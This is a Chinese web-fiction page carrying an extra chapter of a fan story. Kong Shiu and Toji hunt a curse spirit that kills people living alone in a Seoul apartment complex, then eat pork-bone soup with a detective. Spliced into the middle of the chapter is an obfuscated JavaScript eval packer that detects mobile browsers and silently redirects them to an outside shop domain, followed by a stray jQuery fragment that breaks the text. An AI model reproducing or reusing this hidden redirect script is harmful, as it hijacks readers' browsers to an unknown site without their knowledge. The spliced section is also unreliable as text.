文趣网 > 都市小说 > 天与咒缚不会死 > 27.番外2-猪骨汤[番外]
    十一月下旬,下午五点半。

    首尔的天已经开始暗下来。灰蓝色,干燥,风带着一点点冷意。窗外远处的山——首尔到处都是山——已经看不清轮廓,只剩下一道深一点的色块压在天底下。

    孔时雨在阳台上抽烟。

    公寓在汝矣岛附近的一栋旧楼里。十二层,南向阳台朝着汉江,晚上能看见对岸江北的灯。现在还没到亮灯的时候,江面在暮色里是铅灰色的,沿江马路上车的尾灯像一串一串移动的红点。

    他靠在阳台栏杆上,右手夹烟。穿着白衬衫,袖子卷到手肘上方,跟在东京时一样。穿着拖鞋。烟夹着,没怎么抽。

    甚尔在客厅里。隔着玻璃门孔时雨能看见他——坐在沙发上,右手翻一本什么。可能是孔早上从便利店带回来的那本汽车杂志。

    左手平放着,手指并拢。

    甚尔现在已经有左手了。

    长完整大概两个月。手指都长出来了,指甲也有。但他用左手的方式还是不熟练,他放着它的时候比用它的时候多。

    孔看了一眼那只放在膝盖上的左手。

    手指没动。

    孔回头,看江。

    ——

    阳台旁边一个一米的鱼缸,比东京那个小一些。

    来首尔之后他重新挑的。一开始没想要——他们到首尔的第一个月住在李泰院一个临时的小公寓里,没地方放鱼缸。后来搬到汝矣岛这边的长租,孔在仁川某个水族店里看到一缸,犹豫了大概一秒,买了。运回来花了半天。鱼是后来分几批挑的。

    现在缸里有七条。三条蓝色、两条黄色、两条红色。比东京那一缸密度低点。他每天早晚各喂一次。

    ——

    烟抽到一半,口袋里手机响了。

    孔把烟叼在嘴里,伸手摸出来。

    陌生号码。首尔区号。孔接起来。

    “喂。”

    电话那边沉默了一瞬——

    “时雨哥。”

    汉江上一艘小船刚刚开过。江面被船尾划出两道波纹,往两边散去。

    孔从嘴里取下烟。

    “您是?”

    “是我。哲洙。金哲洙。”

    ——

    孔沉默了。

    他知道是谁,但他已经十年没听见这个名字了。

    江上小船的波纹散到看不见了。

    “……嗯。”孔说。“什么事?”

    电话那边停了一下。然后金哲洙继续。

    “哥,听说你回首尔了。我半年前听人提的。一直想打电话,没找到合适的事由。”

    孔的烟在右手手指间慢慢烧。烟头红了一圈又一圈。

    “今天打这个电话,有点不好意思。是有个事,我手里办不下来。”

    “……”

    “你现在做的那一行——听说你能办这种事。”

    孔弹了一下烟灰。

    “什么事?”

    “电话里说不全。能不能见一面?”

    ——

    孔的烟烧到接近过滤嘴。阳台对面江北的某栋楼开始亮灯,一格一格的窗户先后亮起来。

    “你现在在哪里?”孔说。

    “永登浦区警察署,重案股。”

    孔抬手看了一眼烟,已经烧到指头,有点烫。他把烟头按熄在阳台栏杆下面的烟灰缸里。

    金继续说,“明天上午方便吗?”

    “明天上午十点。”

    “好。地址我发短信给你。”

    “好。”

    “……哥。”

    “……”

    “谢谢。”

    孔挂了电话,手机屏幕熄灭。

    他在阳台上又站了大概一分钟,然后从烟盒里抽出新的一根点上。

    这一根抽得比前一根快。

    ——

    玻璃门那边,甚尔从沙发上抬眼看过来,杂志合上了。

    他没说话,只是看着孔在阳台上的背影,孔知道他在看。

    孔抽完第二根烟,拉开玻璃门进屋。

    客厅里暖和一点。室内的灯还没开,只有窗外残余的光照进来。沙发上甚尔的轮廓比脸清楚。

    孔走到沙发边,靠在扶手上。

    甚尔抬头。

    “明天有事。”孔说,“早上去永登浦。”

    “——朋友?”甚尔说。

    孔停了一下,没看他,“以前的同事。”

    甚尔点了一下头。

    ——

    过了一会儿。

    “要去几天?”甚尔问。

    “不知道。看情况。”

    甚尔把杂志放在茶几上。他用左手抚了一下自己的右肩——这是他最近偶尔会做的小动作,像是让它熟悉一下身体。

    孔看了一眼。

    甚尔自己也注意到了,把左手放下来。

    “吃饭吗?”他说。

    “吃。”

    “楼下那个。”

    “行。”

    两人出门。

    玄关,浅木色的小托盘里,亮黄色和亮粉色的两个塑料戒指还放在那里。已经不亮了,电池用完了,但还在那里。

    孔从两个戒指旁边拿走钥匙。

    ——

    第二天早上九点半,公寓地下车库。孔在车里等。甚尔从电梯出来,走到副驾一侧拉开车门坐进来。深色长袖T恤,黑色裤子,外面套一件浅米色的薄外套。首尔十一月底的早上有点冷,比东京冷。

    孔启动车。这边的车是来首尔之后买的,一辆深灰色的现代旧款。东京那辆丰田皇冠卖给了一个旧关系。

    车开出地下车库,上九桥大道。

    早上不太堵。江南方向的车更多,他们是反方向——往西,往永登浦。从汝矣岛过去走元晓大桥,过桥之后就是永登浦区。

    甚尔靠在副驾的椅背上,看车窗外。

    早晨的太阳还没什么温度,照在路面上、楼面上、车窗上,所有东西都被白光涂上一层冷色调。元晓大桥上能看见汉江,江面在白光下显得更宽。

    过桥之后是永登浦。

    这一片跟汝矣岛是两个时代。汝矣岛是七八十年代规划出来的金融区,宽马路,高楼整整齐齐。永登浦是首尔的老城区之一,窄街和旧楼的市井气,朝鲜族聚居、老市场、几十年的老餐厅都在这一片。

    孔在一个红绿灯前停下。

    路口右边是一个老市场的入口。红色的招牌,里面过道很窄,车窗缝隙能闻到一点干鱼和泡菜的味道。市场入口蹲着一个老太太卖白菜。

    甚尔看了一眼。

    “这边跟汝矣岛不一样。”他说。

    孔“嗯”了一声。

    红灯转绿。孔开过路口。

    ——

    过去几个月里甚尔慢慢懂了一点韩语。听懂的多一些,能跟上大概三四成的日常对话。说的少,只在最小的场合用——便利店买东西的时候说“谢谢”、点餐的时候报菜名、问路的时候说几个地名。

    再开十分钟,到永登浦警察署。

    一栋八九十年代的老建筑。浅灰色外墙,正门口立着韩国警察的标志,蓝色加金色的徽章。门口停着几辆警车,是巡逻车的蓝白涂装。

    警察署旁边有一片划线的停车位。孔把车停在街边。

    ——

    警察署门厅,值班台。一个穿制服的年轻警员坐在后面,大概二十五六岁,正在看一份什么。他抬头看见孔和甚尔——

    孔进门没看值班台,直接往里走。他的视线扫过门厅一周,步伐没犹豫——他知道往哪走。

    那个年轻警员张了下嘴,大概是要问“找谁”。

    但他没问出来。

    孔已经走过去了。

    年轻警员愣了半秒。然后他转头看了一眼孔身后的甚尔,视线在甚尔身上停了更长的几秒。

    清秀的脸,什么都没有的眼神,搁在身侧有些不自然的左手。

    甚尔从他面前走过去。

    年轻警员转回头,继续看他手里的文件,然后再次抬头,盯着两个人的背影,伸手摸了一下电话,犹豫了一下又放下,视线落回文件。

    ——

    孔走过门厅,左转,走廊里有几个人,穿制服的和穿便服的、提着卷宗的和捧着咖啡的。样子和气味跟孔记忆里的警察署完全一样。

    走到一个标着「重案股」的门前。

    孔停下,甚尔在他右后侧。

    门半开着,里面是一个开放办公区。几张桌子、电脑、墙上贴着几张纸。最里面有一个单间办公室——股长的办公室,门也是半开的。

    走廊那一头传来一个声音。

    “——孔时雨?”

    孔的手停在门把上。

    他回头。从茶水间走出来一个老警察。六十出头,头发花白,穿便服。手里捧着一个不锈钢杯子。

    老警察往孔这边看,眼睛眯了一下。

    “是你吗?”

    ——

    孔松开门把,转过身。

    那个老警察走过来,穿着拖鞋。走得很慢,一只手扶着自己的腰。

    走到孔面前两米远停下,眯眼看孔,然后笑了。

    “——真的是你。差点没认出来。”

    孔反应了一下。

    “……朴课长。”

    那个老警察笑得更深一些。

    “——什么课长。早就退下来了。现在就是顾问,挂个名。”

    他往孔身后看了一眼,看到甚尔。

    “朋友?”

    “同事。”孔说。

    朴课长的眼睛又在甚尔身上短短扫了一下,然后看回孔。

    “你来干什么?”

    “找哲洙。有点事。”

    “哲洙啊。”朴课长点点头。“他在里面。”

    朴课长抬手拍了一下孔的右上臂,老年人的动作有点僵。

    “过得怎么样?”

    孔停了一秒。

    “——还行。”

    朴课长点点头,“嗯。走了那么多年。也没消息。我还以为你不在了。”

    孔的眼睛在朴课长脸上停了一下。

    然后他笑了,“还在。”

    朴课长又拍了一下他的手臂,“办完事来我办公室。喝杯茶。”

    “嗯。”孔说。

    朴课长点点头。看了甚尔一眼。然后转身慢慢往走廊另一头走,拖鞋蹭着地板的声音。

    ——

    孔站在原地,然后回头看了甚尔一眼。

    甚尔没说话。

    两人都没说话。

    孔转回身,伸手推门,走进重案股。

    ——

    重案股里。

    五六张办公桌散在房间里,每张桌上都堆着文件,几台电脑,禁烟标志下的烟灰缸。墙上贴着几张案情简报和一张永登浦区的大地图。

    桌前坐着两个穿便服的年轻刑警,正在看屏幕,听见开门抬起了头。

    最里面的单间办公室门是半开的,门牌写着「重案股长金哲洙」。

    孔走过去,敲了一下门框。

    “进。”

    ——

    办公室不大,大概十平米。一张办公桌。一个文件柜。窗户朝北。

    金哲洙站起来。

    他比孔小两三岁,中等个子。腰粗了一圈,办公桌加上应酬二十年的标准结果。头发往后退了一些。穿一件深灰色夹克,手腕上戴着一只看起来用了很多年的手表。

    他从桌后走过来,到孔面前上下打量了一下。

    “——哥。”

    两人握了一下手。

    金哲洙的眼睛在孔脸上停了一刻——

    “老了。”他说。

    孔笑了一下,“你也是。”

    “比你还要老。”

    金哲洙看到孔身后的甚尔,眉毛轻轻动了一下。像看见危险信号,但经过多年警察生涯的训练,不会在脸上表现出来。

    然后他笑了一下。

    “你好。”他对甚尔说。

    “你好。”

    金听出来是外国人,“能听懂韩语吗?”

    “一点点。”甚尔

    金哲洙转回头看孔,孔时雨:“说吧,我之后翻给他听。”

    “嗯。”金哲洙说。“那就坐。”

    ——

    三个人坐下。孔和甚尔在桌前,金哲洙回到桌后。

    桌上有一个文件夹。金哲洙没立刻打开。先伸手从桌角的烟盒里抽出一根烟点上。

    然后他把烟盒推到孔面前。

    孔伸手拿了一根。点上。

    他没问甚尔,甚尔平时不抽烟。

    “——先说案子。”他说。

    金哲洙打开文件夹,里面是四份卷宗,每份都不厚,明显是被反复翻过。他把第一份推到孔面前。

    “三个月之内。永登浦区栗树洞,一个老小区,三益公寓,五栋楼。三个月里死了四个。全部独居,全部死在家里或者电梯,全部没外伤。”

    孔翻开第一份卷宗。一张现场照片——一个老太太躺在自己家客厅的地上。

    “李英顺。六十八岁。独居。九月十二日死。家属一个礼拜后才发现。验尸是心源性猝死,但没有既往病史。”

    孔翻下一份。

    “朴在权。四十三岁。便利店老板。十月二日死。死在店里后屋。心源性猝死,同样没有既往病史。”

    “崔贤美。三十六岁。单亲妈妈。十月二十一日死。死在自家厨房。验尸脑血管意外,没既往病史。”

    再翻下一份。

    “李正植。五十四岁。出租车司机。十一月八日死。死在公寓的电梯里。心源性猝死,没既往病史。”

    金哲洙吐出一口烟。

    “验尸单独看每一个都说得通。四个加在一起说不通。”

    孔点点头,“共同点?”

    “独居、同一个小区、三个月内、死亡时间都在傍晚到深夜、全部没外伤,这些我刚才说了。别的——” 金哲洙停了一秒“——没找到。”

    孔继续看卷宗。

    “这四个人之前互相认识吗?”

    “查过。不认识。一个老太太、一个便利店老板、一个单亲妈妈、一个出租车司机——年龄段、生活圈、社交,没有交集。”

    “同一栋楼?”

    “不同栋。一号楼、三号楼、四号楼、五号楼。但是同一个小区。”

    孔点点头。

    “金钱纠纷?”

    “查了。都没有。这四个人经济状况都一般但不差。没有大额债务、没有奇怪的财务流水。”

    孔翻到电梯那一份——

    “出租车司机的电梯监控。”

    “嗯。”金哲洙说。他打开电脑,按几下,把屏幕转过来。“你看。”

    ——

    一段电梯监控,时长大概四十秒。

    一个五十多岁的男人——李正植——走进电梯,穿出租车司机的外套,拎着一个塑料袋。他按楼层,七楼,然后靠在电梯角落。

    电梯关门,启动。

    李正植看着电梯门,很普通的姿势。

    过了五秒,李正植的眼睛慢慢往左前方角落移动。

    眼睛停在那里。

    接着他的身体往后靠了一下,靠到电梯壁上,手里的塑料袋掉在地上。他往下滑,坐到了电梯地上。

    眼睛还在看那个左前方角落。头慢慢低垂下来,一动不动。

    电梯到七楼。开门,没人下。关门,电梯往下走。

    李正植已经死了。

    ——

    金哲洙暂停。办公室里一刻安静。

    孔看着屏幕,左前方角落,他能看见。

    那里坐着一个东西。

    蜷缩的人形,不完整。头部低垂,看不清脸。手脚没有完整轮廓,融在身体里。整体颜色灰青,表面像有一层薄薄的浮尘。

    它坐在那个角落,坐着等。

    李正植走进电梯,它就在那里坐着。它没动,李正植也没看见它,直到五秒后李正植的眼睛慢慢挪过去,李正植看见了它,停下。

    然后李正植复制了它的姿势。

    李正植靠到电梯壁,它已经靠在角落。李正植滑下去,它已经坐着。李正植坐到电梯地上,它在那里坐了不知道多久。李正植的头低垂,它的头一直低垂。

    李正植死成了它的样子。

    ——

    孔没说话,然后看了一眼甚尔。

    甚尔冲他挑挑眉。他感知到了,通过屏幕。

    孔回头看金哲洙。

    “——这个监控。还有谁看过?”

    金哲洙看了孔一眼。

    “我组里两个人。没别人。”

    “上头?”

    金哲洙摇头。

    “验尸结果是心源性猝死。报告写到这里就停了。我自己留了底没上报。”

    孔点点头,看回屏幕电梯里那个角落。

    过了几秒,“——这个东西。”他说。“让人看见它。看见的人死成它的样子。”

    金哲洙抽烟。

    “四个人的死法。”孔说。“你看现场照片,他们倒下的姿势。”

    金哲洙伸手,把四份卷宗往孔面前推一下。

    孔翻开第一份,李英顺的现场照片,一个老太太蜷缩在客厅地上,头低垂,手脚收在身体下面。

    第二份,朴在权,便利店后屋,靠墙坐着,头低下来。

    第三份,崔贤美,厨房地上,蹲坐姿势,背靠橱柜,头垂在膝盖上。

    第四份,李正植电梯里,已经看过了。

    孔抬头看金哲洙。

    “同一个姿势。”

    金哲洙看着卷宗,然后抬头,视线停在孔的脸上。

    “这四个人都独居。”孔说。“傍晚到深夜。家里或者电梯,独自一人的场合。”

    “——嗯。”

    “这个东西。是独居死亡累积起来的。”

    金哲洙从烟盒里抽出第二根烟点上,深吸一口。

    “栗树洞这种小区。”他说,“独居老人多。这十年,孤独死,一年好几个。”

    “嗯。”

    过了几秒,金哲洙:“——报价。”

    “三千万韩元。”

    金哲洙的眉毛轻轻动了一下。

    “一千万先付。两千万尾款。”

    金哲洙吐烟。

    然后他点了一下头。

    “OK。”

    ——

    孔点点头。

    “什么时候去现场?”

    “现在就可以,我开车带你去。”

    “好。”

    金哲洙站起来按掉烟,从桌上拿钥匙。

    走到门外的开放办公区,他对那两个年轻刑警说,“我出去两小时。栗树洞。”

    “是。”两个年轻刑警齐说。

    金哲洙往走廊走。孔和甚尔跟在后面。

    经过茶水间,朴课长正站在茶水间门口端着不锈钢杯子。他看见三个人走过,眼睛在金哲洙身上停了一下,然后看了孔一眼,没说话。

    孔点了一下头。

    三人继续往前走。

    ——

    栗树洞三益公寓。

    从永登浦警察署开过去不到十分钟。一片八十年代建的老公寓,五栋楼围成一个小区,每栋楼七层。外墙是浅黄色,褪色严重,有些地方露出底下的灰色水泥。窗户是老式的铝合金窗,很多家阳台外面伸出一根晾衣杆。

    金哲洙把车停在小区门口的路边。

    十一月底的中午,小区里没什么人。几个老人在小区中间的长椅上坐着晒太阳,互相不说话。一两个学龄前小孩在花坛边玩。一只流浪猫从一辆停放的车底下钻出来跑过去。

    甚尔的步伐一进门就放慢了一步。

    空气的密度变了。后颈的汗毛在动。

    孔注意到甚尔的步伐变化。

    “什么样?”他问。说的日语。

    “压力。”甚尔说。“一片一片的,强弱不一样。”

    “哪些位置?”

    “电梯方向最强。其他几栋楼下面、靠中间这一片也都有。”

    孔点点头,回头对金哲洙——

    “它在小区里游走。”孔说。“电梯是它最常停的位置,其他地方是路过留下来的。”

    金哲洙点点头。

    ——

    走过中庭。

    经过一号楼,李英顺的楼。

    孔抬头看上去。七层的楼。李英顺住三楼。那扇窗挂着窗帘。

    在三楼那扇窗户的窗台上,孔看见一片浅浅的灰青色,比电梯里那个咒灵淡很多,像是它路过时留下的痕迹。它前几个礼拜在那里坐过。

    三号楼,朴在权的楼。也有痕迹。也很淡。

    经过四号楼,崔贤美的楼。痕迹。

    经过五号楼,李正植的楼。痕迹最浓——因为电梯里最新的一次发生。

    孔停下。

    “那个电梯。”

    金哲洙点点头。

    ——

    五号楼的入口。老式的单元门,门厅很小,电梯在右手边。

    金哲洙按了一下电梯按钮,电梯下来,叮——

    电梯里没有人。

    但有那个东西。

    ——

    孔在门口停下。

    甚尔在他左侧。甚尔的呼吸频率没变,但孔能感觉到甚尔的整个身体在那一瞬间进入了战斗待机状态,就像猫看见鸟的时候。

    电梯里,左前方角落,那个东西坐在那里。

    现场看比监控里清楚十倍。

    蜷缩的人形。比一个成年人小一些。头部低垂,看不清脸。手脚没有完整轮廓,像是被身体本身吃进去了。青灰色,表面有一层非常薄的浮尘。

    它没注意三人。

    它在等着独自走进电梯的人。

    ——

    孔抬手,不让金哲洙进电梯。回头对甚尔,“能感觉到吗?”

    “能。”

    “位置?”

    “左前方。”

    孔点点头。

    “它不一定一直在电梯。它在小区里游走。但电梯是它最常回来的地方,大概因为李正植是最近的一次。”

    甚尔“嗯”了一声。

    电梯门快要自动关上了,金哲洙伸手按住门按钮。

    孔看着电梯,再看那个东西。它的头依然低垂,它没注意到他们的视线。

    过了几秒,孔说,“——撤。”

    金哲洙松开按钮,电梯门关上了。

    三人退到楼外。

    ——

    中庭,孔点了一根烟。

    “怎么办?”金哲洙问。

    “它在小区里游走。我们得让它待在一个固定位置,没人看见的,然后处理掉。”

    “怎么让它待在一个位置?”

    孔看了一眼五号楼。

    “它每次出现都是傍晚到深夜。它需要一个独居的人作为目标引它出来。”

    金哲洙的眼睛在孔脸上停了。

    “……你的意思是。”

    孔吐了一口烟。

    “一个诱饵。”

    金哲洙看着孔,又看甚尔。

    “他做诱饵?”金哲洙说。指甚尔。

    “嗯。”孔说。

    金哲洙停了两秒。

    “他能扛得住吗?”

    孔笑了一下。

    “他这种身体,看不见也不会怕,它的‘看见你的死法’这一招对他没用。”

    金哲洙重新看了甚尔一眼,然后点点头。

    ——

    甚尔在旁边听完。他的韩语水平能跟上大部分,没什么反应。

    过了一秒甚尔说,“今晚?”

    “今晚。”孔说。

    “哪栋楼?”

    “五号楼。痕迹最浓。”

    “空房间?”

    孔回头看金哲洙。

    “五号楼有没有现在空着的房子?最好就是李正植的房子。”

    金哲洙看了孔一眼。

    “李正植的房子,家属上礼拜刚清理完。还没卖,现在空的。”

    “清到什么程度?”

    “遗体处理完之后家属来打扫过。私人物品收走了,家具家电还在。”

    孔点点头。

    “好。钥匙拿来”,金哲洙正要打电话,孔伸手,“——还有一个事。”

    金哲洙看孔。

    “告诉家属,不要再清理,不要再动任何东西。今晚之前保持现在的样子。”

    金哲洙点了一下头。

    “这个东西识别独居者的痕迹。李正植的房子现在还有他的痕迹,这是我们的便利。”

    “明白。”

    他往边上走几步,掏出手机打电话。

    孔回头对甚尔,“你一个人进去,我在车里。”

    “嗯。”甚尔说。

    “——开电视、吃东西、洗澡、上床。独居者怎么做你怎么做。”

    “嗯。”

    “等它感知到你,你自己处理。”

    “嗯。”

    甚尔想起来什么。

    “——咒具。”

    “短刀。我给你搞一把。”

    甚尔点点头。

    孔看了一眼甚尔的左手。

    “别用左手做关键动作。左手做辅助。”

    “知道。”

    “好。”

    ——

    金哲洙挂了电话回来。

    “下午三点家属把钥匙送到警察署。”

    孔“嗯”了一声。

    金哲洙看了一眼孔,犹豫了一下,“——还有一个事。”

    孔等他说。

    “钱的事。”金哲洙说。“我去搞。”

    孔点点头。

    两人没再多说。金哲洙抽出烟,把烟盒推过来,孔抽一根,两人点上。

    甚尔没抽烟,看着五号楼。

    中庭的几个老人没注意他们。

    太阳偏西一点。

    ——

    下午三点。三人在永登浦警察署门口的便利店里。

    李正植的儿子送钥匙过来。他四十出头,跟金哲洙差不多年纪。一个塑料钥匙扣,三把钥匙,大门一把、电梯卡一张、信箱钥匙一把。

    儿子把钥匙递给金哲洙。眼睛有点红。“爸的事情。能查清楚吗?”

    金哲洙:“——我们在尽力。”

    儿子点点头,转身走了。

    金哲洙看着儿子的背影,把钥匙递给孔。

    ——

    下午四点半。车上。

    孔在车里打开一个布包,里面是一把短刀。刃长大概二十五厘米,单刃,握柄缠着深色的布。刀刃上看不到任何咒纹,但孔能看见刀的咒力残留,附咒新鲜,上等做工。

    甚尔在后座,孔回头把短刀递过去。

    甚尔单手接过,掂一下重量,右手握住刀柄做了一个挥砍的动作,很顺。

    “不错。”

    甚尔把短刀收回布包——放在自己身边。

    ——

    傍晚六点。天已经全黑。

    三人开车回到栗树洞。

    金哲洙把车停在5号楼的对面,大概三十米外,视线开阔,能看见5号楼的入口和一到五楼的窗户。

    甚尔下车。背着布包,里面是短刀和一些小东西,便利店饭团、一罐啤酒、一包烟。

    他走过马路。走进5号楼的入口。

    孔和金哲洙在车里看着他的背影消失在入口里。

    ——

    手机响了,是甚尔的电话。孔按下免提,放在中控台上。

    “进电梯了。”甚尔的声音。

    过了几秒,“电梯里有它的痕迹。但它现在不在。”

    “了解。”

    “五楼到了。”

    开门声,脚步,钥匙转动声。

    “进去了。”

    关门声。

    ——

    手机里。安静的老公寓。

    甚尔的脚步声。客厅,厨房,卧室,再回客厅。他在检查房子。

    过了几分钟,“房子没问题。家具家电都在。烟灰缸里有他抽完的烟头。冰箱里还有他买的东西。”

    孔应了一声。

    “我开电视了。”

    电视声音从手机里传过来。一个韩语综艺节目,男的女的在说话,有笑声,有片头音乐。

    甚尔的脚步,“他冰箱里有泡菜、有一些豆腐、有半瓶酱油。”

    “嗯。”

    “我吃饭团。”

    甚尔坐下来——椅子拖动的声音,吃东西的声音。

    ——

    孔在副驾抽烟。

    金哲洙侧脸看着5号楼。

    过了一会儿,“他能听懂电视里在说什么吗?”金哲洙说。

    “——他听得懂一些。”孔说。“大部分听不懂,但是没关系,有声就行。”

    金哲洙点点头。

    ——

    傍晚七点半。

    甚尔在房子里吃完饭,喝了啤酒,把空罐子放进垃圾桶,位置跟现场照片里李正植的习惯一致。然后继续看电视。

    手机扬声器里,甚尔的呼吸慢慢平了下来。

    ——

    八点。

    甚尔起来去浴室。水声持续十五分钟。

    甚尔回到客厅,“洗完了。”

    “好。”孔说。

    “你那边怎么样?”甚尔问。

    孔向5号楼,“还没看见它。”

    ——

    九点。

    甚尔躺到床上。李正植的床,李正植的被子。电视开着,音量调低,李正植睡前的习惯。

    甚尔躺下之后没说话。

    手机扬声器里是电视和甚尔呼吸的声音。

    ——

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533144|202172||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    九点二十分。孔在车里坐直。

    金哲洙看他一眼。

    “看见了。”孔说。

    5号楼外面,一团灰青色的东西从隔壁四号楼的方向慢慢挪过来。它沿着小区的甬道走,到5号楼楼下,抬“头”看上去。

    孔对着手机说,“甚尔,它来了。在楼下。”

    手机扬声器里甚尔的呼吸没变,但孔知道他的身体进入状态了。

    5号楼楼下,那个东西进入楼里。

    孔对手机,“进楼了。”

    “嗯。”

    ——

    过了大概一分钟。

    手机扬声器里甚尔的呼吸。

    “感觉到了,门外。”

    孔的眼睛在5号楼五楼的窗户上。

    “它要进来了。”甚尔说。

    一阵布料摩擦的声音——甚尔从床上下来,脚踩到地板。短刀出鞘的金属声,很轻。甚尔的脚步从卧室往客厅。

    门没开。

    但是房子里的空气变了,孔能听出来。电视的声音在那一刻被压低了一度。

    它穿墙进来了。

    甚尔停下脚步,“在客厅。”

    “好。”孔说。

    甚尔的脚步很快,一步——短刀挥砍的声音。

    没击中,空挥,甚尔的脚步往侧面,“它躲开了。”

    再一刀,砰——

    什么东西被撞翻,茶几或者椅子。

    “它在沙发后面。”甚尔的脚步绕过沙发。

    这一声很闷,像是切中一个热水袋。

    然后是一种嗡鸣,从极低频率升起,破裂的声音——咒灵被消灭的声音。

    空气恢复,电视声音重新响起来。

    扬声器里甚尔深呼吸三次,然后慢下来。

    “好了。”甚尔说。

    ——

    孔抽了一口烟。

    “干净了?”

    “干净了。”

    “——你有事吗?”

    甚尔停了一秒。

    “没事。左手有点,但没事。”

    “你过来吧。”甚尔说。

    孔挂了电话。金哲洙坐在驾驶座没动。他听完了整个过程。

    他从烟盒里抽出一根烟点上,深吸一口,慢慢吐出来。

    孔看了他一眼,“走。”两人下车。

    ——

    5号楼入口旧荧光灯闪了一下又稳下来。电梯门关着。金哲洙按按钮,叮——

    那个东西不在那个角落。痕迹也淡了。

    孔点点头。金哲洙按五楼。

    503号门半开着。

    甚尔站在客厅。短刀已经收回布包,挂在他右肩上。他穿着李正植的拖鞋。

    客厅里,茶几歪了,一个杯子翻倒在地上,地板上溅了水。沙发被推开了大概二十公分。其它都还好。

    电视还开着,综艺节目的主持人正在大笑。

    甚尔看见孔,擦了两下手,“干完了。”

    孔的视线在客厅扫了一圈,没有痕迹,咒灵完全消失了。只剩下被战斗带动的家具。

    金哲洙也走进来,他看见的是一个打过架的客厅。

    “——左手。”孔回头对甚尔。

    甚尔伸出左手——有点轻微的颤动。

    孔伸手握住甚尔的左手。手腕的温度比平时高一点,不算烫。

    孔握了大概五秒后松开。

    “只是用力过头。回家敷一下。”

    “嗯。”甚尔说。

    ——

    金哲洙在旁边看见孔握甚尔的左手,他没说话。

    他看了一眼甚尔的左手——孔的握法,又看了一眼孔,然后转开。什么也没说。

    甚尔单手把茶几扶正,把翻倒的杯子捡起来放回桌上,然后去厨房拿了一块抹布回来,擦地板上的水。擦完回厨房把抹布扔进水池。洗手。

    回到客厅,沙发还推开二十公分。甚尔单手推回原位。

    客厅恢复成进来之前的样子。

    孔关掉电视。

    突然的一刻安静。

    ——

    甚尔把空啤酒罐放进背包,烟灰缸里几个烟头用纸巾包起来,也塞进去。

    他在房子里最后扫一眼,再看一眼孔。

    “走吧。”

    三人离开503。

    电梯里,三个人站在中间。那个角落空着。

    ——

    小区中庭,晚上九点四十分。长椅上坐着的老人都回家了。几扇窗户里有灯,暖暖的浅黄色,千家万户的标准晚上。

    走到小区门口,甚尔回头看了一眼。

    ——

    三人往回走,金哲洙开车。

    过元晓大桥,金哲洙在某个路口转弯——一个孔不太熟的方向。

    孔在副驾,“去哪?”

    “吃饭。”金哲洙说。“我请。”

    ——

    车开了大概十五分钟,过了永登浦的几条窄街,停在一家店门口。

    「家山猪骨汤」,底下几个小字写着「已营业四十年」。

    店面不大。门口堆着几个塑料筐,里面是空的烧酒瓶。门玻璃上贴着褪色的菜单图片。从门外能闻见猪骨汤的浓香,肉、土豆、辣椒粉。

    三人进店。

    里面四张桌子,一个吧台,一个负责煮汤的阿姨和收银的老板娘。这个点还有两桌客人。两个中年男人在喝酒,一个独自吃饭的工人。

    老板娘看见金哲洙,“——哲洙啊。今天人多。”

    “三个人。”金哲洙说。“里面那桌行吗?”

    三人走到最里面那张桌子坐下。靠墙的卡座。金哲洙坐里面,孔在另一面外侧,甚尔坐孔对面。

    老板娘走过来,“猪骨汤大份。”金哲洙说。“两瓶烧酒,三碗米饭。”

    老板娘点点头,回吧台。

    金哲洙脱了夹克,里面是一件深灰色的针织衫。他看上去比在警察署里松弛一点。

    孔抽烟。

    甚尔把布包搁在自己脚边,单手把外套脱了搁在身边。

    过了一会儿猪骨汤来了。一个大锅,放在桌子中间的卡式炉上,汤里浓浓的红色辣椒粉、大块的猪骨头、土豆、卷心菜、苏子叶,咕嘟咕嘟煮着。米饭三碗、烧酒两瓶,绿色的玻璃瓶和三个白色的小杯子。

    金哲洙拿起一瓶拧开。

    他给孔倒,然后给甚尔倒,没问,倒满了。然后给自己倒。

    金哲洙先端起来,三个杯子在中间轻轻碰了一下。

    没说话。三人各自一口喝完。

    甚尔喝了一口后眉毛动了一下,他把杯子放下。

    金哲洙看见了,笑了一下。

    “辣?”金哲洙问甚尔。

    “辣。”甚尔说。

    “这个比日本酒冲。”金哲洙说。

    甚尔点点头。

    金哲洙给三个杯子倒了第二杯。

    ——

    汤开了,锅里咕嘟咕嘟,老板娘拿来一个长柄勺,金哲洙接过来,把猪骨捞起来分到三个小碗里,一人一块大的。

    然后他舀汤,土豆和卷心菜分到三个碗里。

    最后他拿起自己的饭碗,倒了一些汤进米饭里——吃猪骨汤的标准方法。

    孔也这样做。

    甚尔看了一眼,然后单手做了一遍。他先把汤勺在桌上放好,用右手端米饭碗到锅边放下,再用右手拿勺舀汤倒进米饭。

    金哲洙在旁边看见,没说话。

    ——

    一开始只有勺子、碗、汤的声音。店里另一桌中年男人低声说话,独自吃饭的工人在看手机。

    甚尔用左手稳住骨头,右手撕肉,动作有点滞涩——刚才战斗后左手有反应。

    金哲洙的眼睛短暂地停在甚尔的吃法上,又重新看回自己的猪骨继续吃。

    大概十分钟,三人吃得差不多了,金哲洙倒了第三杯酒。

    然后金哲洙看孔,“——过得怎么样?”

    孔停了一下。

    “还行。”

    金哲洙点点头。

    两人都看着桌上,没看对方。

    过了一会儿金哲洙,“在日本待了多久?”

    “差不多十年。”

    “什么时候回来的?”

    “八个月前。”

    “以后留在首尔?”

    “看情况。”孔说。

    金哲洙点点头。

    ——

    过了一会儿,“——孩子大了吧?”孔问。

    金哲洙笑了一下,“大学二年。”

    “男孩女孩?”

    “女儿。”

    金哲洙拿起烧酒瓶,倒第四杯。“她说要去美国读研究生。”

    “真不错。”

    “一年要五千万。”

    “……”

    “——还在攒。”

    孔点点头。

    甚尔在旁边,他听懂了一些,女儿、美国、研究生、五千万。他没说话,伸手拿起卡式炉边一块剩下的卷心菜,用右手放进嘴里。

    ——

    过了一会儿,金哲洙看了看时间。

